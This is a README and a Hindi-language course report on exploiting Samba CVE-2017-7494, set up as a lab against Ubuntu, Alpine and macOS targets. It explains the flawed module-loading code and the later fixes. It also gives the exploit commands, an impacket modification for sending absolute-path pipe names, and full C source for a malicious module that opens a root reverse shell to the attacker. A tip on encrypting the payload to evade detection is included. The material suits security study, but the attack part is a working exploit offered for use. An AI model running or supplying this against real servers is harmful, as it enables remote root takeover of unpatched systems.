नेट सुरक्षा पाठ्यक्रम के अंतिम असाइनमेंट के लिए CVE-2017-7494 का शोषण करें। इससे Linux पर प्रशासनिक प्राथमिकता पर चलने वाली सेवाओं की कमजोरी का पता चलेगा।
Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS.
This bug is workable on both macOS and Linux.
Before exploit, you need to download dependencies.
/bin/bash install_requirement.sh
One of the most important dependencies is the impacket package for python. It make smb connection works.
However, in order to construct a valid request that make the samba server load our malicious module, we have to modify the original impacket.
The installation install_requirement.sh installs a modified version (modified by me) so you do not have to worry about that and you are not need to do any manual modification.
However, if you want to use some newer version or another version of impacket, you have to modify that package by yourself.
Goto
impacket/impacket/smb3.pymodify line 11154 and comment following two sentences:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
To exploit target, you need open two terminals. One use netcat to interact with the reverse shell, the other is used to exploit the BUG.
Usage:
#First terminal use nc to get reverse shell
$ nc -p 23333 -l
# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
If the target is macOS, you should not to compile the module on Linux! As gcc do not support MACH-O format. If you are a mac user, macOS payload compilation works.
A precompiled version is in the directory. The mac_payload.so.
Use -m flag to make exploit.py know you will use a customized payload.
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
A detailed process would be post in Chinese as my final assignment. If you understand Chinese, it would be fine for you. :)
—— CVE2017-7494 हमला रिपोर्ट
EternalBlue (永恒之蓝) ने 2017 में बहुत बड़ा नुकसान पहुँचाया था। इसने Windows SMB की तंत्र का उपयोग करके वर्म हमला किया। SMB एक सेवा है जो Windows पर चलती है, जो विभिन्न होस्टों के बीच फ़ाइल साझाकरण और रिमोट प्रक्रिया कॉल (RPC) की अनुमति देती है। शायद इसी प्रकार की कार्यक्षमता के कारण, यह अक्सर हैकर्स के हमले का लक्ष्य बनता है।
ऑपरेटिंग सिस्टम कर्नेल में स्वयं की कमज़ोरियाँ काफी कम होनी चाहिए—भले ही Windows के लिए भी। समस्या आमतौर पर ऑपरेटिंग सिस्टम पर चलने वाली विभिन्न सेवाओं में होती है। उनके पास ऑपरेटिंग सिस्टम जैसी सख्त और कठोरता से परीक्षित कोड नहीं होता, लेकिन वे बहुत उच्च विशेषाधिकारों पर चलते हैं, जिससे दुर्भावनापूर्ण उपयोग के कई अवसर उत्पन्न होते हैं। तो क्या हम ऑपरेटिंग सिस्टम के निचले स्तर के घटकों पर हमला करने के बजाय, उच्च-विशेषाधिकार वाली सेवाओं पर हमला करके पूरे सिस्टम को हथिया सकते हैं? एक अकेला ऑपरेटिंग सिस्टम केवल एक कर्नेल है, जो कुछ नहीं कर सकता। केवल विभिन्न प्रकार की सिस्टम सेवाओं को चलाकर ही हम विविध कार्यक्षमताएँ प्राप्त कर सकते हैं। कई सिस्टम सेवाओं को प्रशासक पहचान में चलाने की आवश्यकता होती है (डेमॉन के रूप में), इसलिए यदि हम ऐसी उच्च-विशेषाधिकार वाली सेवा को हथिया लें, तो स्वाभाविक रूप से हमें सिस्टम प्रशासक विशेषाधिकार मिल जाते हैं, और पूरा ऑपरेटिंग सिस्टम हथिया लिया जाता है।
अंत में, मैंने SMB के ओपन-सोर्स कार्यान्वयन—Samba—में शोषण योग्य कमज़ोरी पाई—CVE2017-7494। Windows की तरह, हैकर्स Samba के रिमोट प्रक्रिया कॉल के माध्यम से ऑपरेटिंग सिस्टम के प्रशासक विशेषाधिकार प्राप्त कर सकते हैं, और फिर वर्म वायरस बनाकर नेटवर्क पर हमला कर सकते हैं।
Linux कर्नेल हमेशा अपने ओपन-सोर्स होने के कारण सुरक्षा के लिए प्रसिद्ध रहा है; और macOS, एक अल्प-ज्ञात सिस्टम होने के कारण, और इसके लिए वायरस कम होने के कारण, अक्सर लोगों को सुरक्षा का भ्रम देता है। इसलिए इस प्रयोग में macOS और कई अलग-अलग Linux वितरणों पर हमला किया जाएगा, ताकि ऑपरेटिंग सिस्टम की कमज़ोरी दिखाई जा सके—चाहे ऑपरेटिंग सिस्टम का डिज़ाइन "कितना भी सुरक्षित क्यों न लगे", किसी भी स्थिति में एक छोटे एप्लिकेशन की कमज़ोरी के कारण यह हथिया लिया जा सकता है।
चूँकि Samba SMB के समान सेवा है, इसलिए कुछ लोग इसे "Linux-संस्करण EternalBlue" भी कहते हैं, हालांकि मैं मानता हूँ कि तकनीकी दृष्टिकोण से दोनों में मूलभूत अंतर है:
यह कमज़ोरी मुख्य रूप से source3\rpc_server\srv_pipe.c में फ़ंक्शन bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) द्वारा smb_probe_module() को कॉल करने से उत्पन्न होती है:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
// यहाँ समस्या है
status = smb_probe_module("rpc", pipename);
....
is_known_pipename() का ऊपरी स्तरीय फ़ंक्शन np_open() एक नियंत्रण मॉड्यूल है। यह RPC सेवा अनुरोध की जाँच करने के बाद is_known_pipename() को कॉल करता है। नाम से देखते हुए, is_known_pipename() यह निर्धारित करने के लिए है कि क्या रिमोट पाइप पहले से पंजीकृत है, लेकिन Samba 3.50 के बाद एक नई सुविधा शामिल की गई: smb_probe_module() के माध्यम से गतिशील मॉड्यूल लोड करना। यह कमज़ोरी इसी मॉड्यूल लोडिंग सुविधा का उपयोग करके अपने स्वयं के दुर्भावनापूर्ण मॉड्यूल को कॉल करने के लिए की जाती है।
rpc pipe मॉड्यूल को लोड करने के लिए निम्नलिखित कॉल श्रृंखला है:
is_known_pipename() -> smb_probe_module() -> do_smb_load_module() -> load_module()
Samba 3.5.0 से Samba 4.6.3 तक के संस्करणों में, फ़ंक्शन do_smb_load_module() का उपयोग RPC मॉड्यूल लोड करने वाले smb_probe_module() और दूसरे मॉड्यूल लोड करने वाले smb_load_module() दोनों द्वारा किया जाता है। smb_load_module() का उपयोग कुछ ज्ञात मॉड्यूल लोड करने के लिए किया जाता है, संभवतः Samba की अपनी कार्यक्षमता विस्तार के लिए आंतरिक कॉल, जैसे VFS मॉड्यूल; जबकि smb_probe_module() का अर्थ कुछ संभावित मॉड्यूल लोड करना है, जो RPC अनुरोध से आ सकते हैं।
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
इन दो अलग-अलग स्रोतों से आने वाले फ़ंक्शनों द्वारा पुन: उपयोग किए जाने के लिए (हालाँकि मेरी राय में इन दो मॉड्यूल को कभी भी एक ही मॉड्यूल के रूप में पुन: उपयोग नहीं किया जाना चाहिए), do_smb_load_module() ने एक साथ "अनुरोध को पार्स करके SMB उपतंत्र के अंदर मॉड्यूल लोड करना" और "पूर्ण पथ के माध्यम से मॉड्यूल लोड करना" दो तरीकों को लागू किया।
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
// टिप्पणी पर टिप्पणी: यदि इनपुट पथ smb_probe_module() से आता है, जिसे पूर्ण पथ नहीं देना चाहिए, लेकिन smb_probe_module() पूर्ण पथ देता है, तो यह जाँच अप्रभावी होगी, यही इस कमज़ोरी के शोषण का सिद्धांत है।
if (subsystem && module_name[0] != '/')
{
// मूलतः उपतंत्र में जाना चाहिए, SMB उपतंत्र -> पूर्ण पथ रूपांतरण
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
// लेकिन यह सीधे हमारे निर्मित पूर्ण पथ को लोड करता है, यहाँ आता है
init = load_module(module_name, is_probe, &handle);
// इस प्रकार init एक "अस्तित्वहीन pipe के मॉड्यूल" को पूर्ण पथ से आए मॉड्यूल का उपयोग करने देता है
}
// यहाँ सीधे दुर्भावनापूर्ण कोड के कॉल में प्रवेश करता है
status = init();
...
चूँकि do_smb_load_module() को पता नहीं है कि ऊपरी स्तरीय फ़ंक्शन द्वारा प्रस्तुत पथ smb_load_module से आया है या smb_probe_module से, इसलिए हमारे लिए एक नकली अनुरोध बनाने की संभावना उत्पन्न होती है: "उपतंत्र के अंदर लोड होने वाले मॉड्यूल" को "पूर्ण पथ के मॉड्यूल के लोडिंग" में बदलना। और यदि उस समय यह पूर्ण पथ का मॉड्यूल हमारा पूर्व-निर्धारित दुर्भावनापूर्ण मॉड्यूल है, तो कमज़ोरी का सफलतापूर्वक शोषण हुआ।
संयोग से, Samba एक प्रोटोकॉल है जो फ़ाइल स्थानांतरण का समर्थन करता है, हम आसानी से अपने दुर्भावनापूर्ण मॉड्यूल को अपलोड कर सकते हैं। साथ ही, DCE अनुरोध भी पूर्ण पथ पूछने का समर्थन करता है। इन दो कारकों के साथ, हम आसानी से do_smb_load_module() का उपयोग करके उसे पूर्ण पथ के दुर्भावनापूर्ण मॉड्यूल को लोड करने के लिए प्रेरित कर सकते हैं।
शोषण सिद्धांत का चित्रण नीचे दिया गया है:

बाद के संस्करणों में, Samba ने इस कमज़ोरी को ठीक किया, मुख्य रूप से RPC अनुरोध में प्रवेश करने वाले पाइप नाम की जाँच को मजबूत किया।
पहला सुधार is_known_pipename() में किया गया, strchr का उपयोग करके यह पता लगाया गया कि pipe नाम में / है या नहीं। यदि है, तो इसका अर्थ Linux पथ लोड करना है, जिसे प्रतिबंधित किया जाना चाहिए।
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
// यह पंक्ति जोड़ी गई: जाँच करें कि कहीं अनुरोध पूर्ण पथ का मॉड्यूल तो नहीं है
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
दूसरा सुधार smb_probe_module() में किया गया (git लॉग के अनुसार संभवतः 4.70 में जोड़ा गया), मूल सरल do_smb_load_module() कॉल की तुलना में अधिक सूक्ष्म नियम जोड़े गए:
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
// दूसरी स्तरीय पूर्ण पथ जाँच
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
एक और सुरक्षा परत जोड़ी गई। साथ ही, मॉड्यूल लोड करने वाले फ़ंक्शनों को और अधिक सटीक रूप से विभाजित किया गया, मूल smb_probe_module() और smb_load_module() को smb_probe_module(), smb_load_module() और smb_probe_module_absolute_path() में विभाजित किया गया ताकि दुर्भावनापूर्ण मॉड्यूल पथ की जाँच को मजबूत किया जा सके।
इस प्रयोग में Linux लक्ष्य मशीनों के लिए विभिन्न Linux वितरणों—Ubuntu और Alpine Linux—का उपयोग किया गया, और Docker का उपयोग करके Samba संस्करण 4.6.3 से पहले और 3.5.0 के बाद का Samba सर्वर स्थापित किया गया। Samba डेमॉन smbd के रूप में चालू था।
Alpine Linux हाल ही में लोकप्रिय हुआ एक Linux है जो "हल्केपन" और "सुरक्षा" के लिए जाना जाता है। आम Linux से अलग, यह glibc के बजाय musl libc का उपयोग करता है, और विशेष buzybox का उपयोग कमांड-लाइन टूल के रूप में करता है। सामान्यतः, बिना पुनः संकलन या कोड संशोधन के, सामान्य Linux सॉफ़्टवेयर इस पर नहीं चल सकता। इसलिए यह आसानी से यह सोचने पर मजबूर कर देता है कि "GNU लाइब्रेरी का उपयोग करने वाले Linux पर हमले Alpine Linux पर प्रभावी नहीं होंगे।"
इसके अलावा, इस प्रयोग में macOS पर भी हमला किया गया—यह एक और सिस्टम है जो आसानी से भ्रम पैदा करता है। macOS एक ऐसा सिस्टम है जिसमें सक्रिय सुरक्षा उपाय नहीं हैं, लेकिन इस पर हमले कम होने के कारण मुख्यधारा की राय यह मानती है कि "macOS में वायरस नहीं होते।"
उपरोक्त विभिन्न प्रकार के सिस्टम स्थापित करके, गैर-बफ़र ओवरफ़्लो उपयोग वाले प्रोग्राम तर्क कमज़ोरी पर हमला करने के प्रयोग के माध्यम से निम्नलिखित तथ्य उजागर करने का प्रयास किया गया:
Linux के लिए Samba को Docker का उपयोग करके त्वरित रूप से तैनात किया गया, जिसके लिए dockerhub पर काफी पुराना पुराना संस्करण ढूँढना आवश्यक था। Ubuntu का Samba rootlogin/samba से लिया गया, Alpine Linux का Samba servercontainers/samba:4.6.3 से लिया गया। कंटेनर के साझा पथ को सेट करें।
macOS का उपयोग किया गया संस्करण 11.3 Big Sur है।
चूँकि macOS का उपयोग शायद ही कभी सर्वर के रूप में किया जाता है, इसलिए पूर्व-संकलित पुराने Samba का कोई संस्करण स्थापना के लिए उपलब्ध नहीं है। इसलिए पुराने Samba को स्वयं संकलित करना आवश्यक था।
git clone https://github.com/samba-team/samba.git
Samba को क्लोन करने के बाद git के checkout सुविधा का उपयोग करके 4.6.3 संस्करण पर वापस जाएँ।
11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) और [11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be,param%2Floadparam.h) में दिए गए रिकॉर्ड के अनुसार, macOS संस्करण के Samba में संकलन समस्याएँ थीं। हालाँकि बाद के संस्करणों में इसे ठीक कर दिया गया था, पुराने संस्करण में मैन्युअल रूप से पैच लगाना आवश्यक था:
curl -fsSL https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
साथ ही lib/param/loadparm.h में #include <time.h> को हेडर फ़ाइल के रूप में जोड़ें।
अंत में, संकलन के लिए आवश्यक सभी निर्भरताओं को हल करें, फिर macOS संस्करण के Samba को संकलित, स्थापित और चलाएँ।
इस प्रयोग में python का उपयोग करके लक्ष्य मशीन पर हमला किया गया, और impacket पैकेज का उपयोग करके SMB संचालन किया गया।
हमले की सामान्य प्रक्रिया इस प्रकार है:
दुर्भावनापूर्ण पेलोड का मुख्य कार्य:
इससे रिमोट सर्वर का नियंत्रण प्राप्त होता है।
कोड इस प्रकार है:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
static void CreateReverseShell()
{
pid_t pid;
pid = fork(); // Use subprocess to detach the main samba process
if (pid == 0)
{
umask(0);
chdir("/");
execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Use python to create TCP connection and setup reverse shell
}
}
#ifdef __linux__
extern bool become_root(void);
#endif
// When Samba load modules, it automatically call this function as entry point
int samba_init_module(void)
{
// Character: YOU ARE HACKED
printf("__ __ ___ __ __ __ __\n\\ \\/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /\n \\ / __ \\/ / / / / /| | / ___/ _ \\ / /_/ / __ `/ ___/ //_/ _ \\/ __ / \n / / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ / \n/_/\\____/\\__,_/ /_/ |_/_/ \\___/ /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/ \n");
#ifdef __linux__
become_root();
#endif
CreateReverseShell();
return 0;
}
जहाँ samba_init_module() Samba द्वारा मॉड्यूल लोड फ़ंक्शन को कॉल करने पर प्रवेश बिंदु है, और दुर्भावनापूर्ण कोड के प्रवेश बिंदु के रूप में कार्य करता है।
printf द्वारा मुद्रित लंबी स्ट्रिंग YOU ARE HACKED है:
__ __ ___ __ __ __ __
\ \/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /
\ / __ \/ / / / / /| | / ___/ _ \ / /_/ / __ `/ ___/ //_/ _ \/ __ /
/ / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ /
/_/\____/\__,_/ /_/ |_/_/ \___/ /_/ /_/\__,_/\___/_/|_|\___/\__,_/
मनोरंजन के लिए।
become_root() फ़ंक्शन Samba से आता है, जिसे extern घोषणा के साथ कॉल किया जाता है।
become_root का उपयोग करने की आवश्यकता नहीं है। साथ ही वर्तमान में Apple सिस्टम पर संकलन करते समय extern काम नहीं करता और लिंकर में समस्या होती है। कारण स्पष्ट नहीं है, इसलिए ifdef का उपयोग करके Apple सिस्टम से बचा गया है।फ़ंक्शन CreateReverseShell() रिवर्स शेल प्रक्रिया को मुख्य प्रक्रिया से अलग करती है, ताकि बैकडोर प्रभाव प्राप्त हो।
इस रिवर्स शेल पेलोड में python का उपयोग किया गया है, execl से python स्क्रिप्ट चलाई गई है, C भाषा संस्करण का उपयोग नहीं किया गया, इसके कारण:
execl का पता लगाने की क्षमता रखती हैंeval() फ़ंक्शन प्रदान करती है, हम रिवर्स शेल खोलने वाली स्क्रिप्ट को एन्क्रिप्ट कर सकते हैं, निष्पादन के समय डिक्रिप्ट कर सकते हैं, फिर eval() के माध्यम से दुर्भावनापूर्ण पेलोड निष्पादित कर सकते हैं, जिससे पहले बिंदु में उल्लिखित सुरक्षा प्रणाली का पता लगाने से बचा जा सकता है
python हो या C भाषा का रिवर्स शेल पेलोड, हमले के दौरान macOS ने उन पर बिल्कुल भी प्रतिक्रिया नहीं दी। कुछ हद तक यह विचार सिद्ध होता है कि "macOS एक ऐसा ऑपरेटिंग सिस्टम है जिसमें सक्रिय रक्षा उपाय नहीं हैं।"macOS संस्करण के दुर्भावनापूर्ण पेलोड को macOS के clang से संकलित करने की आवश्यकता है, क्योंकि Linux का gcc MACH-O प्रारूप की निष्पादन योग्य फ़ाइलों का समर्थन नहीं करता। और संकलन करते समय mac के .dylib एक्सटेंशन को विशेष रूप से निर्दिष्ट करने की आवश्यकता नहीं है, सीधे .so एक्सटेंशन के साथ संकलन करें।
python हमला स्क्रिप्ट python3.7 का उपयोग करके चलाई गई, मुख्य प्रक्रिया इस प्रकार है:
प्रवेश बिंदु पर Options का उपयोग करके पार्स करें, जब उपयोगकर्ता पूर्व-संकलित मॉड्यूल प्रदान करता है, तो पुनः संकलित न करें, अन्यथा lhost और lport पैरामीटर का उपयोग करके नया मॉड्यूल संकलित करें, ताकि रिवर्स शेल हमलावर से जुड़ सके।
चूँकि हम दुर्भावनापूर्ण पथ का उपयोग कर रहे हैं, हमें मूल impacket पैकेज में कुछ संशोधन करने की आवश्यकता है, ताकि यह Samba सर्वर को हमारे आवश्यक अनुरोध जारी कर सके।
impacket/impacket/smb3.py में पंक्ति 11154 पर दो वाक्यों को टिप्पणी करें:
# fileName = fileName.replace('/', '\\') Should be comment!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) Should be comment!
if fileName[0] == '\\':
fileName = fileName[1:]
ताकि "पूर्ण पथ के दुर्भावनापूर्ण मॉड्यूल" को लोड किया जा सके।
शेष लॉगिन, फ़ाइल अपलोड, दुर्भावनापूर्ण मॉड्यूल लोड करना सभी impacket पैकेज द्वारा प्रदान की गई कार्यक्षमता है, इसलिए अधिक विवरण नहीं दिया गया है।
हमले से पहले रिवर्स शेल को सुनने के लिए netcat का उपयोग करें:
nc -p 23333 -l
फिर उपयोग करें
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
इससे ऊपर वर्णित python स्क्रिप्ट स्वचालित रूप से निष्पादित होगी, और netcat विंडो से रूट विशेषाधिकार वाला रिवर्स शेल प्राप्त होगा, रिमोट सर्वर का नियंत्रण मिलेगा।
Ubuntu पर हमला:

Alpine Linux पर हमला:

macOS पर हमला:

Windows से macOS में हैक करके स्क्रिप्ट निष्पादित करना:

scanf_s, strSafe और कुछ "बफ़र ओवरफ़्लो करना कठिन सुरक्षित भाषाओं" पर निर्भर रहकर सभी समस्याओं का समाधान नहीं किया जा सकता; दुर्भावनापूर्ण रूप से शोषण योग्य कमज़ोरियाँ कहीं भी, किसी भी अप्रत्याशित स्थान पर उत्पन्न हो सकती हैं।